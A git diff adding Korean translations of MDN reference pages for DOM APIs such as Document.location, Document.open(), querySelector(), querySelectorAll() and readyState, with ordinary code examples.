+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/api/document/location/index.html b/files/ko/web/api/document/location/index.html
new file mode 100644
index 0000000000..96c514e4b9
--- /dev/null
+++ b/files/ko/web/api/document/location/index.html
@@ -0,0 +1,69 @@
+---
+title: Document.location
+slug: Web/API/Document/location
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Property
+  - Read-only
+  - Reference
+translation_of: Web/API/Document/location
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>The <strong><code>Document.location</code></strong> read-only property returns a {{domxref("Location")}} object, which contains information about the URL of the document and provides methods for changing that URL and loading another URL.</p>
+
+<p>Though <code>Document.location</code> is a <em>read-only</em> <code>Location</code> object, you can also assign a {{domxref("DOMString")}} to it. This means that you can work with document.location as if it were a string in most cases: <code>document.location = 'http://www.example.com'</code> is a synonym of <code>document.location.href = 'http://www.example.com'</code>.</p>
+
+<p>To retrieve just the URL as a string, the read-only {{domxref("document.URL")}} property can also be used.</p>
+
+<p>If the current document is not in a browsing context, the returned value is <code>null</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>locationObj</em> = document.location
+document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org'
+</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">dump(document.location);
+// Prints a string like
+// "http://www.example.com/juicybits.html" to the console
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.location")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The interface of the returned value, {{domxref("Location")}}.</li>
+ <li>A similar information, but attached to the {{Glossary("browsing context")}}, {{domxref("Window.location")}}.</li>
+</ul>
diff --git a/files/ko/web/api/document/open/index.html b/files/ko/web/api/document/open/index.html
new file mode 100644
index 0000000000..e7e376fbb2
--- /dev/null
+++ b/files/ko/web/api/document/open/index.html
@@ -0,0 +1,106 @@
+---
+title: Document.open()
+slug: Web/API/Document/open
+translation_of: Web/API/Document/open
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Document.open()</code></strong> 메소드는 문서를  {{domxref("Document.write", "쓰기", "", "1")}} 위해 문서를 열 수 있도록 제공한다.</p>
+
+<p>이 메소드 호출 시 몇 가지 부작용이 발생한다. 예를 들면,</p>
+
+<ul>
+ <li>현재까지 등록된 모든 요소와 문서, 문서에 속한 윈도우 소속 이벤트 리스너가 모두 삭제된다.</li>
+ <li>현존했던 모든 요소가 문서에서 삭제된다.</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox notranslate">document.open();
+</pre>
+
+<h3 id="인자">인자</h3>
+
+<p>없음.</p>
+
+<h3 id="Return_value반환값">Return value반환값</h3>
+
+<p><code>Document</code> 객체 인스턴스.</p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>이 간단한 코드는 문서를 열면서, 원하는 내용을 작성하여 기존 HTML 문서 구조를 대체하고, 문서를 닫는 예제이다. </p>
+
+<pre class="brush: js notranslate">document.open();
+document.write("&lt;p&gt;Hello world!&lt;/p&gt;");
+document.write("&lt;p&gt;I am a fish&lt;/p&gt;");
+document.write("&lt;p&gt;The number is 42&lt;/p&gt;");
+document.close();
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p><code>document.open()</code> 메소드는 페이지를 불러온 후 {{domxref("document.write()")}} 메소드 호출 시 자동으로 호출된다.</p>
+
+<p>Firefox 및 Internet Explorer 에서는 기존까지 모든 요소 뿐 만 아니라 자바스크립트 변수까지 제거했었다. 하지만 현재 그런 경우는 없다.<span class="comment">document non-spec'ed parameters to document.open</span></p>
+
+<h3 id="Gecko_특정_참고사항">Gecko 특정 참고사항</h3>
+
+<p>Starting with Gecko 1.9, this method is subject to the same same-origin policy as other properties, and does not work if doing so would change the document's origin.</p>
+
+<p>Starting with Gecko 1.9.2, <code>document.open()</code> uses the <a href="/docs/Security_check_basics">principal</a> of the document whose URI it uses, instead of fetching the principal off the stack. As a result, you can no longer call {{domxref("document.write()")}} into an untrusted document from chrome, even using <a class="internal" href="/en/wrappedJSObject"><code>wrappedJSObject</code></a>. See <a href="/en/Security_check_basics" title="en/Security check basics">Security check basics</a> for more about principals.</p>
+
+<h2 id="document.open의_인자_3개">document.open()의 인자 3개</h2>
+
+<p>잘 사용하지 않지만, <code>document.open()</code> 메소드는 3 개의 인자를 받을 수 있으며, 호출할 경우 {{domxref("Window.open()")}} 메소드와 동일하게 동작한다(<code>Window.open()</code> 메소드 참고).</p>
+
+<p>다음 예제는 Github 웹 사이트를 새 창으로 열게 되며, opener 개체를 <code>null</code>로 설정한다.</p>
+
+<pre class="brush: js notranslate">document.open('https://www.github.com','', 'noopener=true')</pre>
+
+<h2 id="document.open의_인자_2개">document.open()의 인자 2개</h2>
+
+<p>브라우저에서는 2개의 인자를 가진 <code>document.open()</code> 또한 가지고 있으며, 아래와 같은 구조를 가진다.</p>
+
+<pre class="brush: js notranslate">document.open(<em>type</em>, <em>replace</em>)</pre>
+
+<p>Where <code>type</code> 인자는 문서를 작성할 MIME 형식을 정의하며(예: <code>text/html</code>), 현재 히스토리를 대체(예: <code>"replace"</code>) 하는 새 문서 작성을 시작할 수 있다.</p>
+
+<p>하지만 이런 호출은 더 이상 사용할 수 없으며, 예외 또한 발생하지 않는다.대신 인자가 없는 <code>document.open()</code> 메소드가 호출되는 효과를 지니며, 대신 브라우저 히스토리 대체는 그대로 작동한다.</p>
+
+<h2 id="규격">규격</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.open")}}</p>
+
+<h2 id="같이보기">같이보기</h2>
+
+<ul>
+ <li>{{domxref("Document")}}</li>
+ <li>{{domxref("Window.open()")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/queryselector/index.html b/files/ko/web/api/document/queryselector/index.html
new file mode 100644
index 0000000000..cf3ead8baa
--- /dev/null
+++ b/files/ko/web/api/document/queryselector/index.html
@@ -0,0 +1,130 @@
+---
+title: Document.querySelector()
+slug: Web/API/Document/querySelector
+tags:
+  - API
+  - CSS Selectors
+  - DOM
+  - DOM Elements
+  - Document
+  - Method
+  - Reference
+  - Selectors
+  - Web
+translation_of: Web/API/Document/querySelector
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><strong><code>Document.querySelector()</code></strong>는 제공한 선택자 또는 선택자 뭉치와 일치하는 문서 내 첫 번째 {{domxref("Element")}}를 반환합니다. 일치하는 요소가 없으면 <code>null</code>을 반환합니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 탐색은 깊이우선<sup>depth-first</sup> 전위<sup>pre-order</sup>순회로, 문서의 첫 번째 요소부터 시작해 자식 노드의 수를 기준으로 순회합니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">document.querySelector(<var>selectors</var>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>selectors</code></dt>
+ <dd>하나 이상의 선택자를 포함한 {{domxref("DOMString")}}. 유효한 CSS 선택자여야만 하며 아닐 경우 <code>SYNTAX_ERR</code> 예외가 발생합니다. <a href="/ko/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">선택자로 DOM 요소 선택하기</a> 문서를 참고해 선택자와 선택자 작성 방법을 더 알아보세요.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고</strong>: CSS 표준 구문이 포함하는 문자가 아닌 경우 역슬래시로 이스케이프해야 합니다. JavaScript 또한 역슬래시로 이스케이프를 하기 때문에 특히 주의를 기울여야 합니다. 자세한 내용은 {{anch("특수 문자 이스케이프")}} 항목을 참고하세요.</p>
+</div>
+
+<h3 id="반환값">반환값</h3>
+
+<p>제공한 <a href="/ko/docs/Web/CSS/CSS_%EC%84%A0%ED%83%9D%EC%9E%90">CSS 선택자</a>를 만족하는 첫 번째 {{domxref("Element")}} 객체. 결과가 없다면 <code>null</code>.</p>
+
+<p>선택자를 만족하는 모든 요소의 목록이 필요하다면 {{domxref("Document.querySelectorAll", "querySelectorAll()")}}을 대신 사용하세요.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd><code>selectors</code>의 구문이 유효하지 않음.</dd>
+</dl>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p>만약 <code>selector</code>가 ID 선택자인데, 해당 ID를 잘못 사용하여 문서 내에 여러 번 사용했으면 첫 번째로 그 ID를 사용한 요소를 반환합니다.</p>
+
+<p><a href="/ko/docs/Web/CSS/Pseudo-elements">CSS 의사 요소</a>는 <a href="http://www.w3.org/TR/selectors-api/#grammar">선택자 API</a>가 명시한 대로 어떠한 요소도 반환하지 않습니다.</p>
+
+<h3 id="특수_문자_이스케이프">특수 문자 이스케이프</h3>
+
+<p>CSS 구문을 따르지 않는, 예컨대 콜론이나 공백을 포함한 선택자나 ID를 사용해야 하면 반드시  백슬래시("<code>\</code>")를 사용해 해당 문자를 이스케이프해야 합니다. 백슬래시는 JavaScript의 이스케이프 문자이기 때문에, 백슬래시를 문자로 입력하려면 반드시 두 번 이스케이프해야 합니다. 한 번은 JavaScript 문자열에 필요하고, 또 다른 한 번은 <code>querySelector()</code>에 필요합니다.</p>
+
+<pre class="brush: html">&lt;div id="foo\bar"&gt;&lt;/div&gt;
+&lt;div id="foo:bar"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+  console.log('#foo\bar')             // "#fooar" ('\b'는 백스페이스 컨트롤 문자)
+  document.querySelector('#foo\bar')  // 일치하는 요소 없음
+
+  console.log('#foo\\bar')            // "#foo\bar"
+  console.log('#foo\\\\bar')          // "#foo\\bar"
+  document.querySelector('#foo\\bar') // 첫 번째 &lt;div&gt;
+
+  document.querySelector('#foo:bar')   // 일치하는 요소 없음
+  document.querySelector('#foo\\:bar') // 두 번째 &lt;div&gt;
+&lt;/script&gt;
+</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="클래스를_만족하는_첫_번째_요소_검색">클래스를 만족하는 첫 번째 요소 검색</h3>
+
+<p>아래 예제는 문서에서 "<code>myclass</code>"라는 클래스를 사용하는 첫 번째 요소를 반환합니다.</p>
+
+<pre class="brush: js">var el = document.querySelector(".myclass");
+</pre>
+
+<h3 id="좀_더_복잡한_선택자">좀 더 복잡한 선택자</h3>
+
+<p>아래 예제처럼 정말 강력한 선택자도 사용할 수 있습니다. 예제의 결과는 클래스가 "<code>user-panel main</code>"인 {{HTMLElement("div")}}(<code>&lt;div class="user-panel main"&gt;</code>) 안의, 이름이 "<code>login</code>"인 {{HTMLElement("input")}} 중 첫 번째 요소입니다.</p>
+
+<pre class="brush: js">var el = document.querySelector("div.user-panel.main input[name=login]");
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("api.Document.querySelector")}}</div>
+
+<h2 id="See_also" name="See_also">더 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">선택자로 DOM 요소 선택하기</a></li>
+ <li>{{domxref("element.querySelector()")}}</li>
+ <li>{{domxref("document.querySelectorAll()")}}</li>
+ <li>{{domxref("element.querySelectorAll()")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/queryselectorall/index.html b/files/ko/web/api/document/queryselectorall/index.html
new file mode 100644
index 0000000000..2beb50a1cf
--- /dev/null
+++ b/files/ko/web/api/document/queryselectorall/index.html
@@ -0,0 +1,180 @@
+---
+title: Document.querySelectorAll()
+slug: Web/API/Document/querySelectorAll
+tags:
+  - API
+  - CSS 셀렉터
+  - DOM
+  - querySelectorAll
+  - 다큐먼트
+  - 레퍼런스
+  - 메소드
+  - 셀렉터
+  - 엘리먼트 셀렉팅
+  - 엘리먼트 찾기
+  - 엘리먼트 탐색
+translation_of: Web/API/Document/querySelectorAll
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Document")}} 메소드 <code><strong>querySelectorAll()</strong></code> 는 지정된 셀렉터 그룹에 일치하는 다큐먼트의 엘리먼트 리스트를 나타내는 정적(살아 있지 않은) {{domxref("NodeList")}} 를 반환합니다.</p>
+
+<div class="note">
+<p><strong>노트:</strong> 이 메소드는 {{domxref("ParentNode")}} 믹스인의 {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} 메소드를 기반으로 구현되었습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>elementList</var> = <em>parentNode</em>.querySelectorAll(<var>selectors</var>);
+</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>selectors</code></dt>
+ <dd>매칭할 하나 이상의 셀렉터를 포함하는 {{domxref("DOMString")}}. 이 스트링은 반드시 유효한 <a href="/ko/docs/Web/CSS/CSS_Selectors">CSS 셀렉터</a>여야 합니다; 그렇지 않을 경우, <code>SyntaxError</code> 예외가 발생합니다. 엘리먼트 식별을 위한 셀렉터 사용의 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Gecko_DOM_Reference/Locating_DOM_elements_using_selectors">셀렉터로 DOM 엘리먼트 찾기</a> 문서를 확인하세요. 콤마를 사용해 분리하여 다중 셀렉터를 지정할수도 있습니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>노트:</strong> 표준 CSS 구문이 아닌 문자들은 역슬래시를 사용해 이스케이프해야 합니다. 자바스크립트가 역슬래시 이스케이핑을 사용한 이후로,  그러한 문자들을 사용하는 문자열 리터럴을 작성할 때 특별히 신경써야 합니다.  자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/String#%EC%9D%B4%EC%8A%A4%EC%BC%80%EC%9D%B4%ED%94%84_%ED%91%9C%ED%98%84">이스케이프 표현</a>을 확인하세요.</p>
+</div>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 셀렉터와 하나라도 일치하는 각 엘리먼트에 대한 하나의 {{domxref("Element")}} 를 포함하는 살아 있지 않은 {{domxref("NodeList")}}. 일치하는 것이 없는 경우에는 비어 있는 {{domxref("NodeList")}}.</p>
+
+<div class="note">
+<p><strong>노트:</strong> 지정한 <code>selectors</code> 가 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/Pseudo-elements">CSS 가상 엘리먼트</a>를 포함하면, 반환 리스트는 항상 비어있습니다.</p>
+</div>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>지정한 <code>selectors</code> 문자열의 구문이 유효하지 않습니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="일치하는_리스트_얻기">일치하는 리스트 얻기</h3>
+
+<p>다큐먼트에서 모든 {{HTMLElement("p")}} 엘리먼트의 {{domxref("NodeList")}} 를 얻으려면:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("p");</pre>
+
+<p>이 예시는 다큐먼트 내의 클래스가 "<code>note</code>" 또는 "<code>alert</code>" 인 모든 {{HTMLElement("div")}} 엘리먼트의 목록을 반환합니다.</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("div.note, div.alert");
+</pre>
+
+<p>여기에서는, ID 가 <code>"test"</code> 인 컨테이너안에 위치하고 부모 엘리먼트가 {{domxref("div")}} 엘리먼트이며 클래스가 <code>"highlighted"</code> 인 <code>&lt;p&gt;</code> 엘리먼트의 리스트를 얻습니다.</p>
+
+<pre class="brush: js">var container = document.querySelector("#test");
+var matches = container.querySelectorAll("div.highlighted &gt; p");</pre>
+
+<p>이 예시는 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/Attribute_selectors">속성 셀렉터</a>를 사용해 다큐먼트에서 <code>"data-src"</code> 속성을 포함하는 {{domxref("iframe")}} 엘리먼트의 리스트를 반환합니다:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("iframe[data-src]");</pre>
+
+<p>여기에서는, ID 가 <code>"userlist"</code> 인 리스트 내에서 <code>"data-active"</code> 속성 값이 <code>"1"</code> 인 리스트 항목의 목록을 반환하는데 속성 셀렉터가 사용되었습니다:</p>
+
+<pre class="brush: js">var container = document.querySelector("#userlist");
+var matches = container.querySelectorAll("li[data-active='1']");</pre>
+
+<h3 id="일치_항목에_접근하기">일치 항목에 접근하기</h3>
+
+<p>일치하는 항목의 {{domxref("NodeList")}} 가 반환되면, 배열처럼 확인하실 수 있습니다. 배열이 비어있다면(<code>length</code> 프로퍼티가 0), 일치한 것을 발견하지 못한 것입니다.</p>
+
+<p>다른 방법으로, 리스트의 컨텐츠에 접근하기위한 표준 배열 노테이션을 사용하실수도 있습니다. 다음과 같이 일반적인 모든 반복문을 사용하실 수 있습니다:</p>
+
+<pre class="brush: js">var highlightedItems = userList.querySelectorAll(".highlighted");
+
+highlightedItems.forEach(function(userItem) {
+  deleteUser(userItem);
+});</pre>
+
+<h2 id="사용자_노트">사용자 노트</h2>
+
+<p><code>querySelectorAll()</code> 은 대부분의 일반적인 자바스크립트 DOM 라이브러리와 다르게 동작하여 예상치못한 결과를 가져올 수 있습니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>세 번 중첩된 {{HTMLElement("div")}} 블록을 갖는 다음 HTML 을 고려해봅시다.</p>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;div class="select"&gt;
+    &lt;div class="inner"&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="자바스크립트">자바스크립트</h3>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1 입니다. 0 이 아닙니다!
+</pre>
+
+<p>클래스 <code>"select"</code> 를 갖는 <code>&lt;div&gt;</code> 컨텍스트에서 <code>".outer .inner"</code> 를 셀렉팅할 때, .outer 가 탐색을 수행하는 기본 엘리먼트(<code>".select"</code>)의 자손이 아님에도 클래스 <code>".inner"</code> 가 탐색됩니다. 기본적으로 <code>querySelectorAll()</code> 은 탐색 범위 내에서 셀렉터의 마지막 엘리먼트만을 검증합니다.</p>
+
+<p>{{cssxref(":scope")}} 가상 클래스는 예상된 동작을하도록 하지만, 베이스 엘리먼트의 자손에 일치하는 셀렉터로만 제한됩니다:</p>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>표준</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td>변동 없음</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>초기 정의</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>기존 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Document.querySelectorAll")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">셀렉터를 사용해 DOM 엘리먼트 찾기</a></li>
+ <li>CSS 가이드의 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/Attribute_selectors">속성 셀렉터</a></li>
+ <li>MDN 학습 영역의 <a href="https://developer.mozilla.org/ko/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">속성 셀렉터</a></li>
+ <li>{{domxref("Element.querySelector()")}} 와 {{domxref("Element.querySelectorAll()")}}</li>
+ <li>{{domxref("Document.querySelector()")}}</li>
+ <li>{{domxref("DocumentFragment.querySelector()")}} 와 {{domxref("DocumentFragment.querySelectorAll()")}}</li>
+ <li>{{domxref("ParentNode.querySelector()")}} 와 {{domxref("ParentNode.querySelectorAll()")}}</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Archive/Add-ons/Code_snippets/QuerySelector" title="Code_snippets/QuerySelector"><code>querySelector()</code> 코드 조각</a></li>
+</ul>
diff --git a/files/ko/web/api/document/readystate/index.html b/files/ko/web/api/document/readystate/index.html
new file mode 100644
index 0000000000..08384c6174
--- /dev/null
+++ b/files/ko/web/api/document/readystate/index.html
@@ -0,0 +1,125 @@
+---
+title: Document.readyState
+slug: Web/API/Document/readyState
+translation_of: Web/API/Document/readyState
+---
+<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9.2")}}</div>
+
+<p><strong><code>Document.readyState</code></strong> 속성을 통해  {{domxref("document")}}의 로딩 상태를 확인할 수 있다.</p>
+
+<p>Document.readyState 속성 값이 바뀔 때 {{event("readystatechange")}} 이벤트가 {{domxref("document")}}에서 일어난다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>string</var> = <var>document</var>.readyState;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">document의 </span></font>readyState</code> 상태는 아래 3가지가 될 수 있다.</p>
+
+<dl>
+ <dt><code>loading</code></dt>
+ <dd> {{domxref("document")}} 로딩 중.</dd>
+ <dt><code>interactive</code></dt>
+ <dd>문서의 로딩은 끝이 나고 해석 중 이지만  images, stylesheets, frames과 같은 하위 자원들은 로딩되고 있는 상태이다.</dd>
+ <dt><code>complete</code></dt>
+ <dd>문서와 모든 하위 자원들의 로드가 완료된 상태이다. 이 상태는 {{event("load")}}  이벤트가 발생되기 직전 상태이다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Different_states_of_readiness">Different states of readiness</h3>
+
+<pre class="brush: js">switch (document.readyState) {
+  case "loading":
+    // The document is still loading.
+    break;
+  case "interactive":
+    // The document has finished loading. We can now access the DOM elements.
+    // But sub-resources such as images, stylesheets and frames are still loading.
+    var span = document.createElement("span");
+    span.textContent = "A &lt;span&gt; element.";
+    document.body.appendChild(span);
+    break;
+  case "complete":
+    // The page is fully loaded.
+    console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText);
+    break;
+}
+</pre>
+
+<h3 id="readystatechange_as_an_alternative_to_DOMContentLoaded_event">readystatechange as an alternative to DOMContentLoaded event</h3>
+
+<pre class="brush: js">// Alternative to DOMContentLoaded event
+document.onreadystatechange = function () {
+  if (document.readyState === 'interactive') {
+    initApplication();
+  }
+}
+</pre>
+
+<h3 id="readystatechange_as_an_alternative_to_load_event">readystatechange as an alternative to load event</h3>
+
+<pre class="brush: js">// Alternative to load event
+document.onreadystatechange = function () {
+  if (document.readyState === 'complete') {
+    initApplication();
+  }
+}</pre>
+
+<h3 id="readystatechange_as_event_listener_to_insert_or_modify_the_DOM_before_DOMContentLoaded">readystatechange as event listener to insert or modify the DOM before DOMContentLoaded</h3>
+
+<pre class="brush: js">document.addEventListener('readystatechange', event =&gt; {
+  if (event.target.readyState === 'interactive') {
+    initLoader();
+  }
+  else if (event.target.readyState === 'complete') {
+    initApp();
+  }
+});
+
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<div>{{Compat("api.Document.readyState")}}</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{event("readystatechange")}} event</li>
+ <li>{{event("DOMContentLoaded")}} event</li>
+ <li>{{event("load")}} event</li>
+</ul>
diff --git a/files/ko/web/api/document/readystatechange_event/index.html b/files/ko/web/api/document/readystatechange_event/index.html
new file mode 100644
index 0000000000..3286bb4727
--- /dev/null
+++ b/files/ko/web/api/document/readystatechange_event/index.html
@@ -0,0 +1,139 @@
+---
+title: 'Document: readystatechange event'
+slug: Web/API/Document/readystatechange_event
+translation_of: Web/API/Document/readystatechange_event
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>readystatechange</code></strong> 이벤트는 현재 페이지의 {{domxref("Document.readyState", "readyState")}}  속성값이 변할 때 발생한다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bubbles</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Cancelable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Event handler property</th>
+   <td><code>onreadystatechange</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Live_example">Live example</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="controls"&gt;
+  &lt;button id="reload" type="button"&gt;Reload&lt;/button&gt;
+&lt;/div&gt;
+
+&lt;div class="event-log"&gt;
+  &lt;label&gt;Event log:&lt;/label&gt;
+  &lt;textarea readonly class="event-log-contents" rows="8" cols="30"&gt;&lt;/textarea&gt;
+&lt;/div&gt;</pre>
+
+<div class="hidden">
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">body {
+  display: grid;
+  grid-template-areas: "control  log";
+}
+
